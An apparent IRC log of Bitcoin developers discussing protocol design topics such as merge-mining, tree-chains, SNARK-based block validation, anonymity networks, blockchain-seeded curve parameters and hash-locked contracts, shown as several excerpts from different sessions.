14:23 < petertodd> meh, merge-mining is no perfect solution either - just makes it easy to be attacked early on
14:24 < gmaxwell> petertodd: changes who can attack, for something which isn't compeating with bitcoin it's probably fine.
14:24 < petertodd> gmaxwell: you can be in trouble by competing with another merge-mined system you realize...
14:25 < gmaxwell> perhaps, but it's not clearcut. if 60% of your hashrate is really bitcoin miners who totally don't give a shit about any of these things attacking becomes hard.
14:25 < gavinandresen> gmaxwell: I think scrypt mining asics will just drive people to a wakier-proof-of-work-coin (Quark maybe).
14:26 < petertodd> gmaxwell: easy to start offering people >100% paying shares to quickly buy hashing power for an attack
14:26 < gmaxwell> gavinandresen: Thats a point! "DDD coin's Proof Of Work involves ringing peoples doorbells and running."
14:27 < gavinandresen> gmaxwell: lol
14:33 < petertodd> gmaxwell: anyway, I think I've got my "tree-chains" concept in decent shape: blockchian is a sharded tree, each node in the tree has left and right leaves that are half the difficulty of the parent node/chain. have participants have consensus about the contents of the blocks in the parent chain, and the blockheaders for left and right. the rule for left
and right child chains is that full-diff PoW solution "locks" the order of the chain, so ...
14:33 < petertodd> ... re-ordering takes 51% with respect to the parent work. However contents are subject to 25% majority. You solve the "lost-data" problem by allowing the mining of a challenge - a tx that you want to see mined - and that tx must either be proved to be not minable (e.g. succinct MMR TXO) or prove that the tx was mined. If nothing happens, eventually the
child chain can be re-orged.
14:34 < petertodd> Security guarantees are resistant to 50% attack for re-ordering transactions, 25% for censorship - however you can pay higher fees/work to force a tx to get mined. Done recursively you *will* get to the point where the PoW effort is too low to be secure, but at least that's an adjustable parameter.
14:34 < petertodd> It looks like merge-mining in a sense, but the challenge rule improves the security guarantees.
14:35 < petertodd> Dunno yet how you'd spend coins from one multi-level deep child chain to a different one - easy to think of cases where you allow inflation attacks.
14:37 < petertodd> gmaxwell: Note how all this is easiest to think about with per-tx work - IE one block == one tx. Also easiest to think about it in practice as a token transafer system - how you'd use it with unrestricted values is an interesting question given the inflation issue.
17:17 < arbart> what is the state of the art of enabling microtransactions?
17:37 < gmaxwell> no
I mean, you're not supposted to give away any keys at all. and its pointless to do so, and I was pointing out that it was pointless to do so.
17:40 < michagogo|cloud> Oh
17:40 < michagogo|cloud> Ah, I see.
17:41 < michagogo|cloud> You were saying that the channel is non-transferable because even if you did give me your private key it wouldn't prove anything?
17:42 < gmaxwell> right, the _authentication_ is non-transferable. It convinces me, but not anyone else even if I give them everything I know.
17:42 < michagogo|cloud> Right, since you can't prove that you didn't create this message, only you can know for a fact that that's the case
17:43 < gmaxwell> yea, it's even stronger than that though
a ring signature gets you that too. e.g. either X or Y created the message (assuming X and Y kept their private keys private)
17:43 < michagogo|cloud> (well, I guess you could if you get into the realm of trusted hardware, e.g. a device that generates a key and logs everything done with it)
17:43 < michagogo|cloud> Or is that not the case?
17:44 < gmaxwell> with a auth via ECDH the message is the same as plaintext.
17:44 < andytoshi> i think this notion of "non-transitive information" is one of the weirder things to come out of modern cryptography
17:45 < gmaxwell> even with trusted hardware because you can't even verify anything at all without one of the private keys.
17:45 < michagogo|cloud> (As you may have noticed, I know ~nothing-very little about cryptography
17:45 < michagogo|cloud> )
17:51 < gmaxwell> andytoshi: well it's usually the color of the bits which is non-transitive rather than the information itself.
17:53 < andytoshi> gmaxwell: well, i can prove to you in zero knowledge that (say) i have a 3-coloring of a graph, and therefore that such a coloring exists
17:53 < andytoshi> and the existence of a coloring is a "solid" bit of information
17:53 < gmaxwell> different definition of 'color'.
17:54 < gmaxwell> required reading if you have not read: http://ansuz.sooke.bc.ca/entry/23
17:54 < andytoshi> hmm, yeah.
17:54 < andytoshi> i have indeed, a very useful article
18:00 < andytoshi> i'm not convinced that the existence of a 3-coloring is merely color though. it is a color on the bits of the actual coloring, sure, but the original graph is public knowledge and the fact of whether or not it is 3-colorable constitutes real context-independent information about it.
18:01 < gmaxwell> hm. you're right.
18:01 < gmaxwell> if we have a NIZK proof that the 3-coloring exists we clearly have information (1 bit, if your prior was uniform!)
18:02 < gmaxwell> and if we are the verifier in an interactive protocol, then we clearly have 1 bit too, because its exactly the same as the prior case.
18:02 < gmaxwell> but if we are not the designated verifier, then we know nothing at all.
18:02 < gmaxwell> And thats weird.
18:04 < andytoshi> very. and we are deriving this bit of real information (the graph has a coloring) from the color of the 3-coloring (which the prover has but verifier doesn't). so there is also a sort of level-crossing between meta-information and information, and we see in eg the goedel theorem that this level-crossing leads into all sorts of Weird Things happening
18:05 < andytoshi> ordinarily these kind of comments are just philosophical masturbation but with bitcoin we are assigning actual value to information and this blurring of categorical boundaries might have actual implications for how we ought to think about it
18:06 < gmaxwell> warning wank field detected.
18:06 < andytoshi> that's a really vague thing to say, sorry, i'm just spitballing
18:06 < gmaxwell> ;P
18:06 < gmaxwell> hehe
18:06 < andytoshi> :P
18:07 < gmaxwell> nah no need to apologize, I find myself contemplating interesthing things like that often and thinking "hm this really should have some deeper consequence" but it often doesn't have any I can find.
18:07 < jron> gmaxwell: thank you for posting the hearing cap.
18:07 < nsh> and cloak of comprehension
18:19 < helo> gmaxwell: you're going to be one of the panelists tomorrow in NY, right?
18:20 < helo> otherwise there's no way we can make up for the litecoin "creator"
18:22 < jtimon> I read he said in miami that some people call him "satoshi lite"...still eager to watch his intervention...
18:23 * andytoshi would never be so vain as to take satoshi's name..
18:24 < sipa> recently a colleague asked me whether i was satoshi
18:24 < sipa> perhaps i shouldn't have answered in japanese
18:25 < brisque> andytoshi: that your nick is an anagram of satoshi is not a coincidence?
18:25 < sipa> anagram?
18:25 < c0rw1n> magarna
18:25 < gmaxwell> Ohayou asadimaska
18:26 < sipa> hajimemashite, satoshidesu
18:26 < gmaxwell> helo: they are doing more of this tomorrow? And no
while I'm comfortable with public speaking I generally have the good sense to stay the heck away from official proceedings.
18:29 < helo> gmaxwell: yeah, there are three sessions tomorrow
18:30 < maaku> sipa: "If I was Satoshi with $1bn to my name, would I still be working here?"
18:30 < helo> the litecoin guy couldn't really even stay on topic... seemed like he just wanted to impress them with info overload
18:33 < Luke-Jr> sigh
18:34 < sipa> maaku: ha
18:35 < midnightmagic> maaku: I would. :)
18:35 < maaku> midnightmagic: wish I had your job :)
18:35 < midnightmagic> maaku: Oh, I don't mean my official job. I meant *in here*.
18:36 < maaku> oh heh, yeah
18:36 < midnightmagic> :-D
18:36 * michagogo|cloud wonders if there'll be recordings of the streams tomorrow as well
18:37 < jtimon> but sipa's colleague is from his official job, no?
18:37 < sipa> yes
18:38 * Luke-Jr thinks it's obvious who Satoshi really is, but *shrug*
18:38 < michagogo|cloud> Luke-Jr: o_O
18:38 < c0rw1n> obvious, really
18:38 < sipa> really?
18:39 < maaku> Al Gore, obviously
18:39 < tacotime_> I always knew he was a time travelling Japanese cat from the 42nd century.
18:39 < sipa> oh, right
18:39 < Luke-Jr> well, Sirius was the only developer "besides" Satoshi for a long time, and he was committing from the start of the git history..
18:39 < Luke-Jr> and left at the same time
18:40 < gmaxwell> please don't speculate about that kind of stuff.
18:40 < c0rw1n> gwern has an interesting, abandoned investigation on satoshi
18:40 < gmaxwell> if someone convinces people that you are satoshi, then you get the security costs of shithead nutbags thinking that kidnapping your family might be a great way to get an anonymous billion dollars.
18:40 < Luke-Jr> at all? this channel is still private, right? O.o
18:41 < maaku> Luke-Jr: this channel is now logged
18:41 < gmaxwell> and If you are _not_ actually satoshi, then the cost of security against that threat is really intolerable.
18:41 < Luke-Jr> meh
18:41 < Luke-Jr> maaku: I don't see that in the topic
18:41 < gmaxwell> Besides, we all know Satoshi was a time travelling Japanese cat from the 42nd century
18:41 < Luke-Jr> so it shouldn't be
18:41 < andytoshi> the logs are non-nonrepudiable fwiw
18:41 < Luke-Jr> gmaxwell: s/cat/doge/
18:42 < gmaxwell> Luke-Jr: though fwiw, the bitcoin history started on sourceforge and was imported into git.
18:42 < andytoshi> to Luke-Jr's point, the logs really should be mentioned in the topic
18:42 < andytoshi> i'm happy to strike anything that people request but people should be aware of it
18:42 < gmaxwell> so put them there, most of you are ops here.
18:43 * Luke-Jr kicks ChanServ
18:43 < Luke-Jr> :p
18:43 < gmaxwell> (I took the top N people by number of messages sent and made all of you ops, for N=10 or something)
18:43 < c0rw1n> if there are public logs i'd love to read them indeed, this being the most interesting #bitcoin-* i've found
18:44 < tacotime_> http://download.wpsoftware.net/bitcoin/wizards/
18:44 < c0rw1n> ok thx :)
18:44 < tacotime_> I would prefer it continue to be logged, as I read these regularly when my VPS dies.
18:45 < tacotime_> It's a lot of the more interesting Bitcoin related discussion.
18:48 < justanotheruser> jtimon: not really what I was looking for. A f2f network doesn't do much in terms of lack timing attacks and lack of knowledge of the network
18:50 < maaku> justanotheruser: it's probably the closest thing out there though ... as I said earlier, I wish there was a community of cryptographers & security people willing to work on adding those features to retroshare-like apps
18:50 < maaku> (hint hint)
18:52 < justanotheruser> maaku: Basically what I'm looking for is a network that is resistant to timing attacks (RS fails), doesn't require full network broadcasting (RS passes), doesn't give info about who you know (RS fails), and doesn't require the trust of your peers (RS fails somewhat)
18:52 < justanotheruser> I believe those criteria would make the ultimate anonymity layer
18:55 < maaku> justanotheruser: I think if you swapped out the retroshare crypto for stuff with forward secrecy, added pond-like random message delays, and use Tor with fixed message sizes you could get most of the way there
18:57 < justanotheruser> maaku: I was thinking everyone just sends 1kb out every 3 seconds. Most of the time your node should have something useful to broadcast, if not then you can temporarily leave the network (or maybe theres a better solution)
19:04 < andytoshi> justanotheruser: probably you want to broadcast random data so that even if there is no traffic it is hard to do analysis
19:06 < brisque> andytoshi: chaffing your connection would be difficult though. if you limited yourself to 0.3kb/s that's a ceiling you can't easily go past. as soon as you go above that it's fairly apparent that you're doing /something/. same issue as before.
19:06 < brisque> andytoshi: if you ramp up the chaff data to a useful level, you're suddenly burning terabytes a month for no real purpose.
19:07 < andytoshi> yeah, maybe there is a way to have chaff based on a rolling average of actual data usage
14:36 < eristisk> ...anonymous system architecture, but wouldn't such a large change in the protocol be extremely difficult?
14:36 < gmaxwell> Well, not just selling. I don't mean that there is room for pretext... that I think if you optimize for scalablity OR privacy you end up with the same system.
14:37 < eristisk> You'd also make RMS happier. :)
14:37 < gmaxwell> eristisk: In practice everything is difficult.
14:37 < gmaxwell> s/pretext... that I think/pretext... I mean that I think/
14:38 < gmaxwell> e.g. in either case you end up with a system that does state commitments and then succinct proofs that the state updates were faithful.
14:39 < eristisk> In my admittedly imperfect understanding of how that might be implemented exactly, it would seem that the blocks would have 'metadata' about the transactions to proove that they were valid instead of transaction data itself.
14:39 < gmaxwell> and you learn nothing about the details of the transactions, except that which is disclosed by the final state as compared to the prior state... (meaning you lose all the information about transactions chains that happened entirely in a block)
14:40 < iddo_> with headers-only sync, Bitcoin blocks also wouldn't contain transactions, just txid hashes ?
14:41 < gmaxwell> eristisk: No, they don't... :)
14:41 < gmaxwell> iddo_: no, headers are just the 80 byte bitcoin headers.
14:41 < gmaxwell> no txids.
14:42 < iddo_> gmaxwell: but we could have blocks only with the txids, and miners keep locally the txns themselves (and transmit txns to peers upon request) ?
14:42 < gmaxwell> eristisk: so some quick background. It's possible to construct cryptographic proofs that a given output was the faithful product of running a specified program on a specified input (along with additional private inputs, optionally).
14:42 < gmaxwell> iddo_: filtered blocks can do that, via the bloom filter stuff with just a trivial set.
14:43 * eristisk goes back to study the byte map of transactions to try to figure out what could realistically be ommitted in a state outsourcing system
14:43 < gmaxwell> eristisk: everything can be omitted.
14:43 < eristisk> I suppose so... kind of the point of hashing algorithms.
14:44 * nsh is dubious
14:44 < iddo_> gmaxwell: is it the devs plan to incorporate filtered blocks to Bitcoin in the future?
14:44 < gmaxwell> iddo_: it's already there, for over a year.
14:44 < iddo_> oh?
14:45 < iddo_> satoshi client already sends blocks without txns? and txns separately upon request?
14:45 < gmaxwell> iddo_: it's not used for fetching between bitcoind nodes, someone ought to do some testing to show if its actually faster once you consider the overhead of sending txids and the roundtrip latency.
14:45 < gmaxwell> iddo_: it can, if you ask it to.
14:45 < iddo_> cooool
14:45 < gmaxwell> eristisk: if you finish the prior block with a commitment to
say, in bitcoin today,
the UTXO set. Then you can have a program that takes in a prior utxo root hash as a public input, and then a bunch of transactions and utxo fragments as private inputs.. and it gives a public output as the new root hash of the utxo set.
14:47 < gmaxwell> and then a proof of this program's execution can be attached to the blocks. (and proofs can be constructed which are sublinear in the programs execution
even constant just constant depending on the security parameters)
14:52 * nsh frowns
14:52 < nsh> there's a catch
14:52 < nsh> i'm pretty sure there's a catch...
14:53 < eristisk> ...essentially replacing the bulky transaction data itself with different data in the blocks containing the proofs of the cryptographic solution in the form of the new root hash to be used as public input for the next unsolved block?
14:55 < gmaxwell> eristisk: right. plus the extra data needed in the final state. e.g. if this was dones directly to bitcoin today it would be new utxo created, and the data required to remove the old utxo. But intermediate ones (created and destroyed within a block) are not ever communicated.
14:56 < eristisk> Very large pools could analyse and save significant amounts of transactions in secret, however.
14:56 < gmaxwell> There have been some proposed blockchain redesigns that would reduce that further.
14:56 < gmaxwell> eristisk: perhaps, but you still don't know whats happening in blocks created by other parties.
14:57 < gmaxwell> (these same techniquies can be applied to transactions themselves, and then you get what the zerocoin people are going to propose in their update. I'm just raising the level you do the proofs at to the whole block instead of the transactions.
14:57 < nsh> gmaxwell, i'd sure like to see some toy model of SNARK proof verification in aciton over a distributed system
14:58 < nsh> because i just can't shake this niggling feeling that there's a catch...
14:58 < gmaxwell> nsh: go grab the pantry stuff then.
14:58 < nsh> pantry stuff?
14:58 < gmaxwell> nsh: oh there are all kinds of _pratical_ engineering catches right now.
14:58 < gmaxwell> But the only fundimental catch is that you only get cryptographic soundness, not perfect soundless like bitcoin has now.
14:59 < nsh> modulo what assumptions?
14:59 * nsh checks https://github.com/srinathtv/pantry/
15:01 < gmaxwell> nsh: you can construct these things out of serveral different cryptographic assumptions. Including ones that basically just depend on the existance of one way functions. (though those do not achieve optimal effiency so far)
15:01 * nsh nods
15:02 < nsh> ;;google knowledge-of-exponent assumption
15:03 < nsh> http://crypto.stackexchange.com/questions/6117/how-much-do-we-trust-kea1-assumption
15:05 < gmaxwell> nsh: the real catch in the system used behind that has nothing to do with KEA1 (and really what you'd need to ask about is just crypto in bilinear groups more than N-th power KEA)
15:06 < nsh> hmmm
15:06 < gmaxwell> it's that it's only publically verifyable in the CRS model
e.g. there is a trusted magic value that everyone needs to be using.
15:06 * nsh reads amiller's post http://comments.gmane.org/gmane.comp.file-systems.tahoe.devel/7942
15:06 < gmaxwell> But as mentioned, it's possible to build such systems without that limitation. (though the proofs are not as insanely small in the things people have been coming up with)
15:07 * nsh nods
15:09 < nsh> can you formalize the argument that privacy is in some way proportional to communicative efficiency in a system of distributed ledger (or more generally a distributed many-party-input dataset)?
15:10 < nsh> it makes sense intuitively that there's an overhead to bearing deanonymising information
15:10 < gmaxwell> nsh: probably. I mean, I gave the adhoc outline of the argument... right.
15:10 < nsh> but it's be nice to think about it more mathematically perhaps
15:11 < nsh> oh, i wonder
15:11 < nsh> if you can apply a thermodynamic analysis to the system
15:12 < nsh> with information that can be destroyed/discarded without affecting the security of the system being analogous to waste heat
15:12 < gmaxwell> there is a counting argument.
15:12 * nsh nods
15:13 < gmaxwell> There are many ways to get from state A to B. An anonymous system doesn't care which one you take, an non-anonymous system does.
15:13 < nsh> right
15:14 < nsh> all we care about is certain rules about the traversal from the space of A to the space of B
15:14 < nsh> not the exact paths
15:15 < nsh> so the compression/succinctness is a product of symmetries defined by our agnosticism
15:15 < gmaxwell> probably easier to just compute the entropy of the deanonimizing information and say you save that. Though it's a little more complicated: if a coin used these states and proofs approach it would also compress away a bunch of non-anonymity related overhead.
15:15 < gmaxwell> And so you'd just get the anonymity savings as a side effect
15:15 < nsh> oh, hmm
15:16 < nsh> what other overhead is saved?
15:16 < jtimon> gmaxwell it seems to me that Peter todd's proposal for an inputs-only chain would be both more scalable (because miner's validations become simpler) and more private (because no miner gets full transactions)
15:16 < jtimon> at least more "spherically scalable"
15:16 < gmaxwell> jtimon: it's orthorgonal! ideally you combine these things. The proofs prevent linear complexity from signatures, the MMR stuff keeps the state space minal.
15:16 < jtimon> but the problem remains, why would miners mine in such a system
15:17 < gmaxwell> (thats also why I kept qualifying above as "if we were to do this as bitcoin is today")
15:17 < jtimon> yeah, I mean combining his proposal with full-block snark
15:17 < jtimon> I se
15:17 < jtimon> e
15:17 < gmaxwell> nsh: e.g. there are 2^big ways to satisfy a typical scriptpubkey.
15:17 < gmaxwell> nsh: which of those you used would be hidden.
15:17 < nsh> oh, right
15:18 < nsh> there are advantages to script transparency though
15:18 < nsh> for contracts, etc.
15:18 < gmaxwell> nsh: sure, but you can make them transparent directly between the users.
15:18 < nsh> right
15:19 < gmaxwell> No system that discloses the transactions can have better than linear scalablity in the size of new blocks for full nodes. ... 'cause you recieve data per transaction.
15:19 < gmaxwell> instead you use some snark and you end up with sublinear communications and validation complexity. The larger the system the bigger the advantage.
15:20 < nsh> but there is some preprocessing cost, or something
15:20 < gmaxwell> there are constants.
15:20 < jtimon> yeah, that would be the scalability vs centralization tradeoff
15:20 < gmaxwell> jtimon: I don't think there is.
15:21 < jtimon> you say the bigger the system the bigger the advantage
15:22 < jtimon> wouldn't a system that processes 1 M tx per snark block imply more centralization than one that only processes up to 100 tx/block?
15:22 < gmaxwell> jtimon: I don't see why?
15:23 < gmaxwell> just talking about the miner's computational costs?
21:22 < petertodd> adam3us: yeah, that's an interesting question: you really want a nothing-up-my-sleeve source of non-compactable random data!
21:22 < adam3us> petertodd: we've got one :) the block chain
21:22 < petertodd> adam3us: interesting problem to get bulk nothing-up-my-sleeve numbers - good opportunity for being overely cute
21:22 < petertodd> I was gonna say...
21:23 < petertodd> though even then you'd probably want to encrypt the blockchain with a CBC cipher to properly randomize it
21:23 < adam3us> petertodd: relatedly i proposed on CFRG using the block chain to proof NUMS / uncooked Elliptic curve paramter generation
21:23 < petertodd> ha nice
21:23 < adam3us> petertodd: i think its actually much better than the alternatives and the current state of the art which is quite gamable
21:24 < petertodd> adam3us: what's the state of the art?
21:24 < adam3us> petertodd: that soeone makes up a nice story about how they didnt cheat, like they publish the generation algorithm, code, and then feed it a seed like pi or a quote and say see "tada we couldnt have cheated"
21:25 < adam3us> petertodd: except there are 100s of bits of choices hidden in there..
21:25 < adam3us> petertodd: which means the choices could've been ground (doh!)
21:25 < petertodd> adam3us: oh right
21:25 < petertodd> adam3us: well don't they usually pick the *first* bits of pi?
21:26 < adam3us> petertodd: yes but i mean the code itself, the endian choice, the order the options are considered etc
21:26 < adam3us> petertodd: http://www.ietf.org/mail-archive/web/cfrg/current/msg04019.html
21:26 < adam3us> petertodd: (its quite short and bitcoin amusing)
21:26 < petertodd> adam3us: sure, but not that many bits there...
21:27 < adam3us> petertodd: i reckon you could find quite a few if you tried see you are selecting curves on lot of complex rules, so which rule you reject first, that affects the choice
21:27 < petertodd> adam3us: ah, yeah I'll admit using the blockchain to prove you didn't try the whole process twice is nice
21:27 < adam3us> petertodd: many arbitrary decisions = grindability
21:28 < petertodd> adam3us: though don't make it double sha256, do it timelock crypto style so that to brute-force select would take longer than a block interval :P
21:28 < adam3us> petertodd: the certicom guy was saying hash like nasdaq closing prices, but hten after the fact its not as convincing. blockchain is like a transferable irrefutable self contained proof!
21:28 < petertodd> yup
21:29 < adam3us> petertodd: i like it :) i mean its actually a useful improvement
21:30 < petertodd> adam3us: I think I posted that on the cryptography mailing list, or if not that my "add together n previous blockhashes" idea that averages them all together
21:31 < petertodd> timelock works really well in this case because you don't care how long it takes to verify the process
21:33 < petertodd> adam3us: might be interesting to do some timelock crypto competitions with the memory-latency-hard technique - encrypt a private key of course and first to decrypt gets to spend it
21:33 < adam3us> petertodd: oh yeah i think i remember that post now you mention it.. maybe it stuck in my subconscious
21:33 < petertodd> adam3us: be nice to get some lower-bounds there
21:33 < petertodd> adam3us: I'm pretty sure there's nothing with better latency for large amounts of ram out there than commodity hardware
21:33 < adam3us> petertodd: out comes the watercooled monster box :)
21:34 < petertodd> adam3us: yup
21:34 < petertodd> adam3us: which reminds me: one of the hard things about all this asic-hard stuff is PoW doesn't need to be reliable, while even the worse consumer hardware is fairly reliable
21:34 < adam3us> petertodd: my cpu is good (4.8ghz hex core) but i didnt splash for fancy ram
21:34 < petertodd> adam3us: that costs you speed
21:35 < adam3us> petertodd: exactly, yes. (reliability argument) i think one of the asic hw people commented on that
21:35 < petertodd> with a big enough bounty it could be a good way to test the "single round of foo hash" idea
21:35 < petertodd> adam3us: butterfly labs for one implements that
21:35 < petertodd> adam3us: though we *are* lucky that overclocking is still popular
21:38 < adam3us> petertodd: oc is cost effective. that 6-core sandybridge is faster than i think just about any single socket xeon for 3x the price (or worse if you go for dual socket costs)
21:39 < adam3us> petertodd: ghz*core speed assuming parallelizable tasks.
21:39 < petertodd> heh, it'd be hilarious if all our efforts at ASIC-hard PoW just leads to more hardware designed for overclockers :P
--- Log closed Fri Jan 17 00:00:09 2014
--- Log opened Fri Jan 17 00:00:09 2014
01:10 < maaku_> petertodd: that wouldn't be a bad outcome
01:11 * maaku_ dreams of commodity supercomputers
01:57 < CodeShark> opinions? https://github.com/CodeShark/bitcoin/compare/coinparams_new
02:21 < wumpus> CodeShark: I'm ok with moving more chain-specific configuration (such as MoneyRange) to chainparams, but adding all those redundant hashing algorithms isn't going to make it into mainline imo
02:21 < CodeShark> right, I realize that - I was considering a plugin model
02:22 < CodeShark> scrypt.so, hash9.so, etc...
02:23 < wumpus> hmm I don't know
02:23 < CodeShark> or perhaps a compiletime flag to statically link to a particular hash function
02:23 < wumpus> I'm all for making the source more modular, and making it into libraries, but loadable libraries brings a lot of problems of their own
02:24 < CodeShark> what are your concerns?
02:25 < wumpus> security mainly, incompatibility, general so/dll hell
02:25 < wumpus> for now I'd more like a modular approach based on libraries (which can get statically linked into the end product)
02:25 < CodeShark> so then perhaps a way to specify a list of static modules to link at compiletime
02:26 < wumpus> or make it possible to install the bitcoin core as a library, so that actual implementations/daemons can compile and link against it
02:27 < wumpus> or other applications that may need the bitcoin consensus stuff for their own purposes
02:28 < wumpus> anyway, lots of options, but: no altcoin specific stuff in bitcoin/bitcoin please
02:28 < CodeShark> for other applications I'm thinking more of a service-oriented architecture, with a core engine providing runtime services to other processes
02:29 < CodeShark> yeah, the intention wasn't to merge the altcoin specific stuff in bitcoin/bitcoin
02:29 < CodeShark> just to expose the ability to customize the core engine
02:29 < wumpus> okay
02:30 < CodeShark> the inclusion of scrypt and hash9 in particular is a total hack at this point, just intended to test the basic idea
02:34 < CodeShark> I'm also thinking that rather than trying to parametrize things like block reward and retargetting rules it would be better to also use a statically linked module approach
02:41 < wumpus> let's move this to #bitcoin-dev
08:20 < adam3us> amiller: when you're awake about fractional blocks, I am wondering if there is an incentive issue. if a 0.1 block collects .1 of fees and is easily orphanable by a powerful miner, what motive do they have to not selfishly orphan it to collect the other 10% of the fee.
09:39 < _ingsoc> andytoshi: Where are the -wizards logs again?
09:40 < andytoshi> _ingsoc: http://download.wpsoftware.net/bitcoin/wizards/
09:41 < _ingsoc> Ty.
09:41 < michagogo|cloud> (That really belongs in the topic...
09:42 < andytoshi> no worries, i'm afraid you'll have a lot to scroll through, the last three days have been obscenely busy on this channel
09:42 < michagogo|cloud> )
13:36 < gwern> I believe we were discussing ethereum before? might be of interest: https://bitslog.wordpress.com/2014/01/17/ethereum-dagger-pow-is-flawed/ http://www.reddit.com/r/ethereum/comments/1vgqa7/ethereum_dagger_pow_function_is_flawed/
13:36 < Ursium> hi gwern, yes i saw that
13:37 < Ursium> i believe the founders are aware as i remember reading about this very issue a while back.
13:39 < petertodd> Ursium: that's not a very good analysis: sequential memory hardness isn't all it's cut up to be for real-world hardware designs
13:40 < Ursium> petertodd: i see!
13:40 < petertodd> Ursium: not to say his point is necessarily invalid, but what needs to be done is to get an *actual* hardware engineer on board rather than just a bunch of software people theorizing about what makes something asic hard
13:41 < Ursium> makes sense. Will be interesting to follow for sure
13:42 < sipa> (upcoming ad-hominem) the author suggesting x86 as script code doesn't inspire much confidence
13:42 < petertodd> sipa: +1
13:43 < maaku> i think there's a valid technical point in that ad-hominem
13:43 < Ursium> sipa: i believe they suggest C-like scripting which converts back to a very limited set of opcodes - so only interactions with the blockchain etc. What do you guys think?
13:43 < sipa> maaku: yes, but it's irrelevant to the issue being discussed
13:44 < maaku> Ursium: see the logs for the past few days. we've had some interesting discussions about what you can do with a more powerful script
13:44 < maaku> mostly related to covenants
13:44 < petertodd> Ursium: the idea of extrospective scripts is a good one, how to implement them is another issue
13:44 < maaku> you would *not* want to do so using an ad-hoc CISC language, however
13:45 < petertodd> maaku: speaking of: you realize that for colored coins and many other covenants, you actually only need to look *backwards*, so they aren't really covenants and have no issues
13:45 < maaku> you'd need something amenable to static analysis (e.g. a strongly typed stack language)
13:45 < petertodd> maaku: or a single type :P
13:46 < maaku> petertodd: ? for CC you need to look at the outputs of the current transaction to avoid inflation
13:46 < maaku> well, functions/combinators are types...
13:47 < maaku> michagogo|cloud: I'm allowed to op, but not change the title for some reason. Is that a different permission?
09:30 < amiller> gmaxwell, that trnasaction was made by the authors of the paper
09:30 < jtimon> iddo someone asked me yesterday for an atomic transaction in which one party gets a decryption key for a file, is that possible?
09:30 < jtimon> because I said no
09:30 < gmaxwell> jtimon: it's possible.
09:30 < jtimon> what's the coin toss protocol?
09:31 < gmaxwell> I described the required protocol a couple years ago.
09:31 < gmaxwell> jtimon: https://en.bitcoin.it/wiki/User:Gmaxwell/why_hash_locked
09:33 < jtimon> but the password gets revealed for everyone right?
09:35 < gmaxwell> jtimon: uh, it can be just a password for a one time encryption for that recipent, no one else gets the encrypted data. Alterantively, you can apply the "CoinSwap" encoding, so that the only txn that shows up in the blockchain is a 2 of 2 escrow, so long as the participants cooperate.
09:36 < gmaxwell> (basically in coinswap we show how to take any script releasable escrow traction and keep the real release details a secret, so long as the players play fair
if they don't play fair the details get leaked but the funds still go to the right place)
09:36 < jtimon> I see, you can encrypt to certain public key
09:38 < jtimon> well, extro24 wanted to use it for authors to "sell content", DRMed content, I don't like the idea
09:39 < jtimon> but it seems it would be actually possible
09:39 < jtimon> what other use cases do you find interesting?
09:41 < gmaxwell> well it's not usually that interesting for "sell drmed content" since you don't really have a machine test that you'd like the content or something. So you're stuck trusting the seller that the key he gives you is a key for something you want.
09:41 < jtimon> oh, yeah, that's actually what I told him
09:41 < gmaxwell> for things that you can test with a machine my protocol could be used.
09:42 < gmaxwell> For example, "I'd like to buy the master key that cracks the drm scheme on these books"
09:42 < jtimon> how the networkknows that the secret decrypts the content without actually revealing the content to everyone?
09:42 < gmaxwell> jtimon: you prove it out of band.
09:42 < jtimon> with snark/scip no?
09:43 < gmaxwell> Basically I prove to you that X is the hash of the key you want, out of band. Using some kind of ZKP, doesn't have to be a SNARK but thats one way of course.
09:43 < gmaxwell> Then you make a transaction that can be redeemed if the person reveals a value that hashes to X.
09:44 < jtimon> this is the "I'd like to buy the master key that cracks the drm scheme on these books" use case?
09:44 < jtimon> no, in general
09:45 < gmaxwell> In general.
09:45 < gmaxwell> go read the webpage. :)
09:45 < iddo> gmaxwell: so do you think that it's possible to do a refund txn for a txn that had inputs of both Alice and Bob, i.e. the refund txn redeems (with locktime) both the coins of Alice and the coins of Bob, or Alice can cheat because Bob only sees the hash of what he signs?
09:45 < jtimon> yeah, sorry
09:47 < gmaxwell> iddo: it can be done, but its messy.
09:47 < iddo> how? :)
09:48 < gmaxwell> iddo: bob makes a transaction moving his coins. But doesn't annouce it. He tells alice the txid. ...
09:48 < gmaxwell> iddo: alice writes a txn spending those coins and hes but doesn't announce it, she writes a refund and gives the refund (only) to bob and has him sign it.
09:48 < gmaxwell> then after he does she gives him her escrow. and if he likes it, he announces his original move.
09:49 < iddo> ahh
09:49 < iddo> not too messy
09:50 < iddo> but more txns that would need to be broadcasted if both parties are honest, that's true
09:50 < gmaxwell> well, not on paper it's not. The problem is that any time you add an extra level of interaction you really make implementation in the real world messier. e.g. more round trips that can time out that you have to handle. :) and yes, more tx data.
09:50 < jtimon> hehe "because we're computer geeks we have no friends who can act as trusted mediators"
09:54 < epscy> gmaxwell: what are your thoughts on Quark?
09:58 < gmaxwell> epscy: that moronic altcoin that just uses every hash function out there? Well. moronic. doing that confers no specific advantage.
09:59 < gmaxwell> Even if you were to say asic resistance was desirable, it doesn't have that result, it increases the NRE but not the marginal costs, which makes an asic monopoly more likely (or a successful attack by a powerful entity who could eat the nre)
10:06 < jtimon> gmaxwell, this is very cool, I'm thinking voluntary computing, what limitations has the function H ?
10:06 < petertodd> gmaxwell: I noticed those txn's ages ago; I hadn't figured out what they were doing however
10:07 < gmaxwell> jtimon: it just has to be able to run inside your proof enviroment.
10:09 < jtimon> like a BOINC program? I doubt gridcoin has a p2p issuance solution, but it would be interesting
10:15 < gmaxwell> jtimon: it doesn't really make sense for boinc though, because the proof systems have quite high overhead. A lot of the theoreticians writing about snarks talk about delegation applications, but as far as I can tell they're on drugs. :)
10:15 < gmaxwell> (e.g. your problem was slow enough you needed to delegate it, so first you embed it in a proof system that makes it 1000x _more_ expensive
10:15 < jtimon> yeah, that's what I was asking for with the limitations of H
10:16 < jtimon> ok, it doesn't pays
10:16 < gmaxwell> it works in cases where you have a NP search and you want to pay people for the answer, not the work.
10:16 < gmaxwell> In which case the verification of the answer is fast, but not the search.
10:17 < jtimon> mhmm, maybe scientist could code their voluntary computing programs in a way that people serach for those answers and only prove them when they find them
10:18 < gmaxwell> I suppose, indeed, you can POWize any program by just defining some answers as distinguished.
10:18 < jtimon> but each case would be different, in some cases you won't be able to code those incentives
10:18 < gmaxwell> not necessarily.
10:19 < TD> gmaxwell: the why_hash_locked + scipr protocol should maybe be on the contracts page. as that seems like a very general approach to contracts
10:19 < jtimon> hmm POWize ANY program?
